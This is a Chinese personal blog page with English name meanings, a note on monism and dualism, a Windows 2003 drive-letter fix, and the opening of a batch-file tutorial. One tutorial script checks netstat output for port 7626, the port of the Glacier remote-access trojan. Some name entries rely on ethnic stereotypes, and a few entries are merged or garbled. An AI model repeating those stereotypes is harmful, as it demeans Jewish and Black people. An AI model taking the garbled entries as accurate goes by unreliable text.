(爱尔兰)作战者;(拉丁)有勇气的,RESA的简称。TRACY被描绘为可爱喜欢运动的有着卷曲金发女人,有自信的掌事者,喜欢寻找乐趣,有良好的教养个性温和。
VANESSA
对大部份人来说是个美女的名字,纤细,有吸引力的女人。聪明,有财有势,有点高傲。有些人甚至会将vanessa和性感联想在一起。
VICKY
VICTORIA的简写。人们心中的VICKY是娇小,纯朴的顽皮女孩。
VIVIAN
源为拉丁字vivianus,意为有活力的。充满活力?可不是吗!人们说VIVIAN是活力四射,有教养,风趣,友善,又好动
WENDY
GWENDOLYN,WANDA的简写。大部份的人认为WENDY是矮小可爱的女人,既友善又甜美。有的人却认为WENDY是具野心,无礼又傲慢的女人。
WINNIE
(威尔斯)"美好"的意思。人们认为WINNIE是身材圆润的女子-心思单纯但有点急惊风,想到什么就说什么。
YOLANDA
(西班牙语)"紫罗兰"。YOLANDA给人的印象是气质高雅,可静可动的女孩,看起来柔弱,却有令人不可亵渎的气质。
YVETTE
同YVONNE。人们形容YVETTE是美丽的金发法国女子-懂得人情事故,既聪明又友善,只是有点傲慢
ZOEY
同ZOE(希腊)生命之意。对大部份人来说,ZOE是美丽充满艺术气质的小孩,有趣但有点古怪。然而对某些人来说,ZOE是小心翼翼,可靠的,但又乏味的人

---------------
男子英文名释义---------------
AARON
(希伯来)启发的意思,AARON被描绘为不高但英俊的男人,诚实刻苦具有责任感,是个有效率个性沉静的领导者。
ABEL
(希伯来)"呼吸"的意思,为ABELARD的简写,大部份的人认为ABEL是高大,强壮的运动员,能干,独立,又聪明。有些人则认为ABEL是瘦小,温顺的男孩。
ABRAHAM
原为希伯来文,意为"民族之父"。后来,它演变成"万物之父"的意思。大多数人将ABRAHAM形容为高大壮硕留着胡子的领袖,诚实,庄严,聪明,像亚伯拉翰林肯总统一样
ADAM
(希伯来),红土制造的意思。据说上帝用红土造人,而亚当是祂造出的第一个人。 ADAM被形容是高大,黝黑,英俊,肌肉强健的男人,沉稳,聪明。
ADRIAN
(拉丁文)黑色的意思。人们将ADRIAN描绘为迷人,阴柔的男子,敏感,体贴,可爱,富有。
ALVA
希伯来名,给人的感觉是很崇高、庄严的,圣经上写着ALVA 是一个地名和种族名字。
ALEX
为ALEXANDER的简写,人们认为ALEX是身强体健有着希腊血统的男子,聪明,和善,令人喜爱。
ALAN
据传,英国有一位诗人,叫Alawn(阿伦),很近似于Alan,它的意思,但后来,这个名字常变形为Eilian、Allan、Ailin、A'lon等等。Alan的发音近似于撒格逊语Aylwyn或Alwyn(熟悉的朋友)的意思)。所以它在英国很为人所欢迎。
ALBERT
(老 式英语)崇高,聪明之意。ALBERT引人联想起三种形象;肥胖、笨重、缓慢,如Fat Albert;聪明,行为古怪,如Albert Einstein:或是正式, ALFRED(古英语),睿智的参谋。ALFRED给人两种截然不同的印象:一种是超重的智者,所谓智者就是有智能的老人家,行事谨慎,另一种是文弱的书 呆子。 ANDREW洛j希腊里有男子气概、雄壮、勇敢的男人。
ANDY
为ANDREW的简写,ANDY被人形容为高高的,金发的,童心未泯的普通男子,快乐,随和老实憨厚。
ANGUS
(盖尔语)唯一的选择。ANGUS被视作行为怪异,惹麻烦的傻瓜。
ANTHONY
(拉丁)无价的意思,人们认为ANTHONY是高壮黝黑的意大利男人,聪明强壮并坚忍。
ARTHUR
(凯尔特语)"贵族",(威尔斯)英雄。Arthur有两个不同的意思:一生充满故事喜欢受注目的有趣老人;或是沉静,与众不同,信守承诺的智者。
AUSTIN
同August,Augustine.AUSTIN被视为聪明,坦诚有礼的大男孩--或者是恃才傲物的富家公子。
BEN
(希伯来)儿子的意思;所有BEN开头名字的简写。Ben被描述为高大,强壮的黑发男子,沉静、可爱,随和,温柔。
BENSON
(希伯来英文)"Son of Benjamin"班杰明的儿子。感谢电视上Benson Dubois,给人的印象,Benson被形容是急智的黑人管家,聪明,体贴又有趣。
BRANT
古德语,意为妖精。这里所谓妖精,可不是你我心想的贬义词,而是古代德国人对神仙的一般称呼。
BRENT
代表山顶或者避暑胜地。
BRIAN
(爱尔兰语)"力量,美德",大部份人把Brian看做是爱尔兰男子,聪明,喜欢运动,并擅于社交。有些人则认为Brian是无聊喜欢黏着妈妈的孩子。
BRUCE
来 自一个地名Bruis或Braose,它是法国瑟堡(Cherbourg)附近的村庄。据说,村里有一个庄主,取名叫Bruis,当诺尔曼人征服英国时, 他们的子孙征服者来到英国,并把这姓名也传入英国。后来,苏格兰出现了一位民族英雄,叫罗伯特?布鲁斯,据说就是由法国去的布鲁斯家族的后代。
CARL
(老式德语)"农人"同CHARLES。大部份的人认为CARL是个直率的人--照顾人,有礼的绅士,聪明稳重又沉静。而有些对CARL印象不那么好的人则认为,他是个自以为是而且脾气暴躁的人。
CARY,
Carey(威尔斯)"来自城堡的",(同Kerry)人们认为Cary是个适合电影明星的名字,温和,友善,无忧无虑的人,有些人则认为这个名字听起来相当女性化。
CASPAR
人们对Caspar有两种印象。友善,害羞乐于助人的,就像鬼马小精灵一样。或是年长,有着忠实信仰,就像圣经里Caspar一样. CHARLES(古德文)有男人气概,强壮。CHARLES不是被看做辛勤,忠实的朋友与领导者就是被认做是聪明,自大的吹毛求疵者。
CHENEY
采尼,法语意为『橡树林的人』。 CHRIS为CHRISTIAN,CHRISTOPHER的简写。CHRIS给人的印象是外表清爽,标准的美国男孩,聪明,可爱又有趣。
COLIN
(爱尔兰迦略克)"孩子"的意思;同NICHOLAS人们将COLIN描绘为富有,金发的调情者,白天是聪明学有专精的人,夜晚是个迷人的花花公子。
COSMO
希腊字,意为『宇宙』或者『秩序井然』。此名常见于苏格兰人。
DANIEL
(希伯来)"上帝为我们的裁决者".Daniel被形容为英俊强壮的美国童子军,喜好运动勇敢,友善,值得信赖,教养良好,聪明且随和的人。 DARRYL(古英语)意为『亲爱的』。
DEREK
(老式德语)"统治者"的意思。DEREK5被视为高壮,英俊,有男子气慨的运动员,个性为强悍,沉静,个性害羞。
DOUGLAS
(苏格兰盖尔语)"从深水而来"。人们说Douglas是个强壮英俊的男子,不是聪明,敏感安静的类型,就是勇敢,外向常招惹一堆麻烦的人。
DAVID
(希伯来)挚爱的意思。人们形容DAVID是强壮,英俊,聪明的男人善良,幽默又独立。
DENNY
所有以DEN开头的名字的简称,DENNY这个名字让人联想到课堂上的笑蛋-爱玩友善极度幽默的年轻男孩,脑袋却不太灵光。
EDGAR
(老式英语)"幸运的战士"。原盎格鲁萨克逊语为Eadgar。Ead-这个前缀词表示『富有』,『幸福』。
英国历史上,有一位人人皆知的国王Edgar the Peaceful(安详的埃德加),创建了英国的海军部队,并联合了八个小国王,使英国国力有所增强。十九世纪美国诗人兼小说家阿兰?波(Edgar Allan Poe)就是叫Edgar,昵称Ed。
EDWARD
(古英语),幸福的保护人。人们认为EDWARD这名字非常适合拘谨的书虫,衣冠楚楚的作家或生意人。
EDWIN
(老式英语)"富有的朋友"人们将EDWIN描绘为年长足智多谋的人。但对某些人来讲,EDWIN也有其阴森邪恶的一面。
ELLIOTT
是个时髦的英文名字,源于Elijah。Elliott这个名字给人两种感觉,一是吸引人自视颇高的专业人士,聪明有主见。另一则是四眼田鸡,做事一板一眼的书呆子。
ELVIS
(老 式挪斯语)"全能的"同Elwin。Elvis Presley是这个名字的代表人物。人们将Elvis描绘为英俊大方,唱蓝调的南方摇滚巨星 EVAN(威尔斯)"年轻的战士",JOHN的威尔斯型式。人们形容Evan是文质彬彬的年轻人有着男孩般俊俏面容,聪明的能够完成医学院的学业,才气纵 横的足够出书。
ERIC
(挪威)永远的领导者,永远的力量,也是FREDERICK的简写。ERIC被叙述为受欢迎的斯甘地拉维亚人有自信,聪明而且心地善良。
FRANCIS
(拉 丁)法国人。FRANCIS这个名字令人联想到稳重的学者或是极度依赖宗教缺乏自信心的人。 FRANK 是FRANCIS,FRANKLIN的简写,人们对FRANK有两种截然不同的印象:辛勤工作的年长男人,独立,友善,并且温柔。不然就是又高又壮的蓝领 阶级,懒惰,不受欢迎,又粗心。
FRED
所有含"FRED"名字的简写。FRED被形容为善良,风趣。人们口中的FRED不是矮小,肥胖,笨重那型就是优雅的舞者,如Fred Astaire。
GABY
为Gabriel的昵称,原为希伯来文,意为『上帝的人』。据<圣经>说,天使Gabriel是上帝派来的使者,由他来宣布约翰和耶稣的出生。
GARFIELD
(老式英语)战场之意。很多人都认为GARFIELD就像那只卡通猫一样-肥肥,爱惹麻烦的毛球。其它的人则认为GARFIELD具有领袖的特质-精明,世故,又乏味。
GARY
"先锋"的意思。是Gerald的简称。人们认为Gary是长长得高高壮壮的普通男人,平易近人,和善又有趣。
GAVIN
古 德语,意为"白鹰"或"战鹰"。在古威尔士语中,Gawain或Gawen是『小鹰』的意思。『鹰』一直成为古代德国、英国等国家人民崇奉的对象。他们把 『鹰』看做『战斗』的象征,是他们心目中的战友。 GIBSON古德语,意为"光明磊落的誓约"。据说,此名表达家长们希望自己的子女继承其祖先财物及传统的愿望。
GINO
为Ambrogino,:Luigino。人们口中的Gino是矮小,黝黑,满身肌肉的意大利人,友善,活力充沛,而且风趣。
GLEN
(爱 尔兰迦略克)"山谷"的意思。为GLENDON的简写。GLEN不是被看做善良,单纯,踏实的中阶层男子就是勇敢,聪明有创造力的富家子弟。 HARRISONHARRISON (古英语),亨利之子。HARRISON被形容为英俊,富有的男子,优雅,傲慢或是敏感脾气温和的人。
HUGOHUGH
的拉丁型式。大部份人眼中的HUGO是圆润的男子(有点胖胖的),个性温和,独具特色,有时间观念。
HUNK
大个儿,大块头。在人们印象中HUNK是个辛勤工作,心思单纯,自动自发的年轻人且活泼外向。
HOWARD
(老式英语)看守人。Howard形容的不是乏味的中等阶级就是富有掌权之人。 HENRY(老式德语)庄园的领主。HENRY这个名字给人数种不同的看法。懦弱的四眼书虫,野心勃勃,独立自主的专业人士,或是强壮,随和的农夫。
IGNATIVS
(拉丁)意为,"如火如荼的",其变形为IGNACE、IGNATZ。
IVAN
男子名,John的俄语形式。大部份人认为Ivan是勇敢的俄国男子,强悍,冷酷,而且霸道。 ISAAC(希伯来)"他笑了"的意思。人们认为ISAAC是聪明体贴的学者型男人,通常不是犹太人就是黑人。
JACK
同JOHN,JACOB;是JACKSON的简写,大部份的人认为Jack是个具威胁力的人-体魄健壮,阳刚,强壮,自负,聪明。也有人认为Jack可爱,有趣喜欢追求快乐的家伙。
JAMES
为JACOB的英文形式,JAMES被描绘为大块头,强壮的英俊男人,聪明,严谨,诚实个性依赖。有些人则认为JAMES是粗鲁,自负的贵族。
JASON
被 认做可爱,喜好运动的金发男孩,但人们却对Jason的人格有争议。他可能是主观,风趣受欢迎,固执,不受束缚,调皮,或沉静,害羞,常自省的人。 JEFFERYJEFFERY被形容为孩子气,黑发,俊朗的男子。有些人则说JEFFERY是聪明的万事通,有钱又自大的小子,还有人说他是个中等男子, 可靠,迟钝又单调。
JEROME
(拉丁)圣洁的名字,在人们印象中,Jerome是个传统的名字,它让人联想到的是有趣,聪明,又体贴的男孩。
JERRY
是GERALD,JEREMIAH,JEROME的简称,大部份的人认为Jerry是高挑,友善,好玩性格极佳的人。有的人则认为Jerry是个喜欢带着金链子的大块头。
JESSE
(希伯来)"上帝存在"。JESSE给人支配者的印象--一个坚轫,狂放不拘的不法之徒,可说是个坏胚子。
JIM
James的简写,JIM被认为是好看运动员般的金发男人,友善,安静的平凡男人。
JIMMY
JAMES的简写。JIMMY不是被描绘为友善单纯的男孩就是邻家的大个儿。
JOE
JOSEPH的简写。JOE被看做一般的美国男孩-强壮,英俊的男子,体贴容易相处。
JOHNNY
同 JOHN。JOHNNY被看做黑发,高壮,稚气未脱的美国男孩,通常不是安静赖着妈妈的男孩就是静不下来的捣蛋鬼。 JOHN (希伯来)"上帝是慈悲的"。John,一个带着圣经浓厚色彩的名字,让人联想到清爽聪明的男子,个性坚强独立。 JOSHUA (希伯来)意为获得上帝帮助的人。JOSHUA被视作英俊的男子,羞涩,聪明,独立,忠实的信徒。 JUSTIN (拉丁)"品格端正"。Justin被形容作可爱,棕发,爱玩,稚气未脱的男子,喜欢钓鱼及溜狗。人们说Justin可能成为富有的专业人士,公正,受人 敬重,可靠的公民。
KEN
是KEN结尾的字的简写,KEN被描绘成高挑英俊的金发男人,受欢迎,又风趣,但是肤浅。
KENNY
是Kenneth的简写,人们把kenny当做是一般的美国男孩,年轻的足球英雄而且心地善良,成年后也是个肯为家庭投注心力的好男人。
KEVIN
(爱尔兰)温和,可爱的,KEVIN被描绘为年轻喜好运动的美国男孩,心地好,有点固执。
LANCE
(老式德语)"大地",Lance被形容为爱情小说中的英雄人物--英俊,有男子气慨,富有,也是厉害的花花公子。
LARRY
LAWRENCE的简写。大部份人认为LARRY是随和友善的-所到之处无不充满笑声。有人则认为LARRY是吃人不吐骨头的奸商。
LEE
(古英语)来自牧场之人。LEE这个名字结合了两大形象:一是强壮,肌肉强健,充满自信的牛仔或是文静,保守的世故者。
LEO
(拉丁)"狮子",为Leander,Leonard,Leopold的简写。大部份人认为Leo是强壮且温和的。他被形容为热情的背叛者,总以一付艺术家或捍卫和平的面貌出现。
LORI
源 为拉丁文Laurentium(劳伦迪乌斯),是从Laurentium(荣誉之城)或(月桂树之域)变来的。显然,这个字的词根『Laurel』『月 桂』是很吸引人的。因为在古代,『月桂』是作为胜利和『荣誉』的象征。同Lauren、Laurent、Loren、Lorin、Larry、 Laurence、Lorry。
LUKE
"路加尼亚的人"同LUCIUS LUKE不是被看做强壮,结实,忠实,愚蠢,就是风趣,友善,吵闹的人。 MARCUS同MARK,MARCUS给人的印象是高大强壮英俊的运动员或单纯乏味的生意人。
MARK
(拉丁)好战的意思。好战的?一点也不会!人们说Mark是爱好运动,非常英俊的男人,风趣爱好自由,而且是个细心的朋友。
MARS
出自拉丁文,为古罗马『战神』之名。同MARKS,MARTIN,MARCY. MICHAEL(希伯来)像主的人,MICHAEL被描绘为强壮,英俊的男人,聪明成功的刻苦工作者,随和,快乐的居家男人。
NEIL,
Neal(爱尔兰迦略克)"冠军"之意。大部份人把Neil看做聪明有才能的人,成就极高个性温和。有人则觉得Neil是骄纵固执的人。
NICHOLAS
(希腊)"胜利的人"。感谢圣者Nicholas,大部份的人认为Nicholas是可爱,肥胖,快乐,大方的。有些人则认为Nicholas是个被宠坏难以捉摸的小恶魔。
OLIVER
(拉丁),"橄榄树"。(斯堪地拉维亚)"温和亲爱的"。OLIVER给人好几种印象。脏兮兮无忧虑的乡下小孩;好学用功的书虫;热心奉献的人;或者愚蠢有趣的漫画人物。
OSCAR
(斯堪地那维亚)"神圣的持枪者"。人们心目中的Oscar不是风趣,懒散,无忧无虑的冒失鬼就是讨厌固执,经常抱怨的人。
PAUL
(拉丁)"小"的意思。大部份人认为PAUL是庄严,稳重坚定的人,但有人认为他有魅力,创造力又和善。 PATRICK(拉丁名),意为『高贵的』、『贵族的』。在爱尔兰和苏格兰,此名较为流行。
PETER
(希腊)岩石。人们认为PETER是个不做作,诚实,开放的人。有些人则认为PETER是个充满野心和爆发力的。
PHILIP
Philip这个名字给人几种不同的印象:一个有朝气的军官;自大的王子;有钱的商人,聪明内向的人。
PHOEBE
聪明,闪亮。理所当然人们心中的Phoebe是个性爽朗,带给大家欢笑的开心男孩。
RANDY
为Randall,Randolph的简写。RANDY被看做高瘦,讨喜的男孩,若不是安静,聪明努力的人不然就是擅长运动,爱玩幽默的乡村男孩。
REX
(拉 丁)帝王的意思。谢谢HENARY HIGGINS做的REX HARRISON的雕像,人们对REX的印象是强壮庄严相当有自我风格的人,但别人眼中却稍嫌莽撞。有些人却认为REX是个独来独往的死硬派-有可能是飞 行员或小偷。REX也是个适合小狗的名字。(当然也适合恐龙啰!)
RICHARD
RICHARD在古德文中意谓着"掌理大权的统治者",这个名字给人两种形象;一个是英俊强壮,擅长运动的美国男孩:另一个是诚实,严肃,但敬业乐群的男人。
RICHIE
原为盎格鲁撒克逊语Ricehard,意为『统治得很稳固』。在古德语中,也有相应的名字Ricohard,意为『严厉的统治』。同Rick、Ricky、Ritchie。
ROBERT
(老式英语)"光辉和著名的"。ROBERT给人两种不同的印象:英俊,强壮的运动员,风趣外向;粗壮的普通人,安静保守。
ROBINSON
同ROBERT的;简写为ROBIN。ROBINSON给人两种不同的印象:一种是安静勤奋的工作者或是活泼外放的喜剧演员如Robin Williams.
ROCK
(老式英语)源于石头,为Rochester,Rockwell的简写。Rock用来形容头脑简单四肢发达的人-大块头,满是肌肉的运动员,强壮,驽钝,就像石头一样硬。
ROGER
(古德语)著名的枪手。ROGER被视作英俊的男子,友善,讨人喜欢充满乐趣。
RYAN
(爱尔兰)"小国王"。 Ryan被形容为强壮,活跃的男子,长得很英俊却很害羞。
SAM
为SAMSON,SAMUEL的简称。人们印象中的SAM是个强壮的,温和,忠实脚踏实地的人,而且是可以交心的朋友。代表人物是人人皆知的UNCLE SAM
SAMUEL
(希伯来文),schama(意为『听』)和El(意为『上帝』)连成的。其完整意思为"被上帝听到的人"。这和圣经中的传说有关。圣经说预言家Samuel的母亲把他的降生看作是上帝对她的祷告的回报。
SEAN
为John的爱尔兰形式。
SHAWN
被形容为阴晴不变独来独往的人如西恩潘,或是英挺,刺激,上流社会的英国人,如史恩康纳莱。 SHAWN为John,Sean的爱尔兰形式。 SHAWN被形容为英俊的年轻人,活泼,受欢迎,温和。
SIDNEY
(法文)由圣者丹尼士衍生出。SIDNEY这个名字令人联想到学有专长的专家英俊又善良。虽然有人认为SIDNEY是反传统且不按牌理出牌之人。
SIMON
希伯来人,意为听者。SIMON被视作强壮魁梧的男子,若非有着安静简朴的个性就是聪明而富创造力。
SOLOMON
希伯来文,意为平静的小人。令人联想到矮小,秃头犹太教师或先知,强壮温和,又睿智。
SPARK
(美国)"闪闪发光",SPARK被人们描绘为充满活力的人-反应灵敏,生气蓬勃并为人们带来快乐的人。
SPENCER
来自法语,意为仓库保管人或粮食分配者。人们对他的印象直接来自SPENCER TRACY。人们想象中的SPENCER是灰发的年长男子,极为幽默。
SPIKE
又长又重的钉子。SPIKE被描绘为独立强悍的街头老大,可能是莽夫或拳击手。有些人则以为这个名字很适合狗;我就认识一只叫SPIKE的狗。
STANLEY
(古式英文)来自牧草地。STANLEY这个名字给人两种印象:安静,年长蓝领劳工或是瘦骨如柴的怪人。
STEVEN
同Stephen。人们心目中的Steven是高壮,英俊的男子,沉静,斯文有礼,性格和善。
STUART
原为苏格兰语,看管家畜的人,有时可解释成看管物业的人。给人两种印象:雄壮威武的高手或是聪明教养良好的士绅。
TERRENCE
(拉丁语)"光滑",TERENCE这个名字让人们联想到活泼,纤细,高挑的黑人或是黑发,温和的男孩。
TERRY
为TERENCE的简写,TERRY是个喜欢追求乐趣的男孩,喜欢运动,善良,而且充满欢笑。
TIMOTHY
原希腊语TIMOTHEOS,意为光荣的上帝。大部份人将提摩西想成是羞涩甜美的可爱小孩。
TOMMY
为THOMAS的简写,TOMMY给人邻家男孩的感觉,长相清秀,可爱的金发小男孩。
TOM
为THOMAS的简写,TOM可说是一般典型美国人的代表,无所不在,自信,讨人喜欢而且做人实在。
THOMAS
古亚拉姆语,意为双胞胎。THOMAS被认为是聪明,可靠,教养良好有急智的男子。
TONY
为ANTHONY的简写。人们眼中的TONY是善良,强壮的运动员,冷静能自理的男孩。
TYLER
古英语,瓦匠。TYLER给人两种印像:富有自大或者肥硕善良无忧无虑的生意人。
VAN
(荷兰)"贵族后裔",为许多荷兰名字的姓。 VERNVernon的简写。Vern有着两个差异颇大的意义:呆板,单调的怪老头或英俊黑发的年轻男子,勇敢,积极,有着横扫千军的气魄。
VINCENT
(拉丁语)"征服"。大部份的人认为Vincent是沉静,如艺术品般的男人。稳重善解人意。然而有人认为Vincent是邪恶的罪人。
WARREN
(古德语)"保卫者",WARREN这个名字给人两种印象:英俊诡诈,老是与麻烦脱不了关系的人;或是努力工作的会计,聪明但乏味。
WESLEY
(老式英语)来自西方草原。WESLEY这个名字给人两种印象:一种是被宠坏,甜美自大的娘娘腔。另一种则是年轻有着顽皮个性的专业人士。

我的QQ空间
什么是BETA,RC,ALPHA版 - 软件命名规范
查看评论发现很多网友对于软件版本命名还不是很明白,什么是Beta...
 
9/30/2008

[哲学]一元论和二元论

一元论和二元论:所谓一元论和二元论是指在处理身与心关系问题上两种不同的哲学观点.一元论主张认为这两者实际上是统一的东西,但统一的主体是什么,则是有不同,唯物主义一元论主张是物质,唯心主义则主张是精神.二元论则把这两者当作是两个不同的实体,或者把它们看作是各不相干,或者承认两者之间的联系的基础上说明两者的相互作用.一元论和二元论都有自己的理由,但也都存在自己的困难.唯心一元论的在于所谓的灵魂是否就是心,如果不是,岂不自相矛盾 如果是,灵魂离开肉体干什么去了 唯物一元论观点看起来更明显符合常识,但因为完全否定心的存在,也有一些问题:物质本身又是如何知觉自己呢,人怎样才能把他们意识到的原子多其他原子中区别出来呢 二元论的主要困难在于,心与身既然是两种完全不同的东西,那么它们是怎样被联结起来的 身与心的关系究竟是什么。
9/25/2008

[计算机]Win2003系统无法自动给移动硬盘分配盘符

方法一:

windows2003不能自动分配USB移动硬盘盘符的解决方法:

开始——>运行——>mountvol /e——>回车——>重启机器,win2003就会自动分配盘符给USB移动硬盘

mountvol是创建、删除或列出卷的装入点,参数e表示再次启用新卷的自动装入。
-----------------------------------------------------------------------------------

方法二:


开始--运行--输入services.msc,回车,这时就进入了服务设置
点右边窗口,按L,找到Logical Disk Manager,双击,将启动类型改成自动,然后点击启动

另外一个Logical Disk Manager Administrative Service 也进行同样的设置

好了,这时插入移动硬盘,就不用再进计算机管理手动设置盘符了,系统会自动分配盘符

9/3/2008

bat批处理教程[转帖]

这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句 话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然 变的很遥远,而有些很遥远的东西却又突然回到了眼前。

先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的---- 众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也 相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的 目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!

按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。

OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式, 只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一 个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯 燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不 知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是 很重要的一方面。

例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

是 不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮 助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地 方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可 以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。

例二、再给出一个已经过时的例子(a.bat):

@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat

为 什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的 作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。 在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就 一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。


例三,使用批处理脚本查是否中冰河。脚本内容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

这 里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的, 因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一 下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命 令|,后面将详细介绍。

例四,借批处理自动清除系统垃圾,脚本如下:

@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*

将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。

怎 么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和 幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。

为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有 很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻 (爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情 上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把 头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。


看过第一章的朋友,一定对批处 理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有 点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!

批 处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定 得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理, 输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。

从 这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS 更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR 等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。

例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用 的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连 接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被 逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

